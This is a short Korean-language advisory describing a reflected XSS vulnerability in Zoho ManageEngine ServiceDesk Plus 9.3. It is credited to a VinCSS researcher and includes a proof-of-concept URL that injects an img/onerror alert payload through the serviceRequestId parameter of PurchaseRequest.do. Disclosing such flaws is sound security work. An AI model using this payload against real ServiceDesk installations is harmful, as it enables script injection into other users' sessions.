
정보 설명: Zoho ManageEngine ServiceDesk Plus 9.3에서 문제가 발견되었습니다. PurchaseRequest.do serviceRequestId 매개변수를 통한 XSS가 존재합니다.
작성자: Tarantula 팀의 Concobe - VinCSS (Vingroup의 구성원)
domain/PurchaseRequest.do?operation=getAssociatedPrsForSR&serviceRequestId=1%3Cimg%20src%3da%20onerror%3dalert(%27XSS%27)%3E1